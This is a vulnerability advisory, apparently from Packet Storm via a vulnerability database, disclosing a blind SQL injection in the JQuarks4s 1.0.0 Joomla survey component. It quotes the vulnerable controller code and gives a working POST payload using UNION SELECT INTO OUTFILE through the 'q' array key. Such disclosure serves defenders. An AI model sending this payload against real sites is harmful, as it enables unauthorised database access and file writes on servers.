Lucene search
K

Joomla JQuarks4s 1.0.0 Blind SQL Injection

🗓️ 10 Nov 2010 00:00:00Reported by Salvatore FrestaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 24 Views

Joomla JQuarks4s 1.0.0 Blind SQL Injection Vulnerability in Online Surveys Too

Code
`JQuarks4s Joomla Component 1.0.0 Blind SQL Injection Vulnerability  
  
Name JQuarks4s  
Vendor http://www.iptechinside.com/labs/projects/list_files/jquarks-for-surveys  
Versions Affected 1.0.0  
  
Author Salvatore Fresta aka Drosophila  
Website http://www.salvatorefresta.net  
Contact salvatorefresta [at] gmail [dot] com  
Date 2010-11-08  
  
X. INDEX  
  
I. ABOUT THE APPLICATION  
II. DESCRIPTION  
III. ANALYSIS  
IV. SAMPLE CODE  
V. FIX  
  
  
I. ABOUT THE APPLICATION  
________________________  
  
A Joomla 1.5 free and open source tool for online surveys  
and statistical analysis.  
  
  
II. DESCRIPTION  
_______________  
  
A parameter is not properly sanitised before being used  
in a SQL query.  
  
  
III. ANALYSIS  
_____________  
  
Summary:  
  
A) Blind SQL Injection  
  
  
A) Blind SQL Injection  
_______________________  
  
Input passed to the "q" parameter in when "option"  
is set to "com_jquarks4s" and "task" to "submitSurvey" is  
not properly verified before being used in a SQL query.  
This can be exploited to manipulate SQL queries by  
injecting arbitrary SQL code.  
  
The following is the vulnerable code (controller.php):  
  
  
function submitSurvey()  
{  
// get post data  
$data = JRequest::get('post');  
  
...  
  
$questions = $data['q'];  
// debug  
//var_dump($data);exit;  
foreach ($questions as $question_id => $question) :  
  
$type_id = (int)$question['type_id'];  
  
switch ($type_id) :  
  
...  
  
case 4:  
// recuperer les row_id du question_id  
$rowsDB = $sessionModel->getRows($question_id);  
  
  
So, $question_id is a key of the array "q" and type_id  
his value. Therefore the injection is possibile by  
inserting arbitrary SQL code as the key of the array and  
4 as his value.  
  
  
IV. SAMPLE CODE  
_______________  
  
A) Blind SQL Injection  
  
Try to send the following packet to your test server.  
Ensure that magic_quotes_gpc is set to off in order to  
use the following test.  
  
  
POST /path/index.php HTTP/1.1  
Host: target  
Content-Type: application x-www-form-urlencoded  
Content-Length: 97  
  
option=com_jquarks4s&task=submitSurvey&q[-1 UNION SELECT 0x414141 INTO OUTFILE '/tmp/trycopy' ]=4  
  
  
Note that if you want to use the '=' character, you must  
covert it in URL encode format (%3D), otherwise the value  
4 needed for the injection cannot be read.  
  
  
V. FIX  
______  
  
No fix.  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation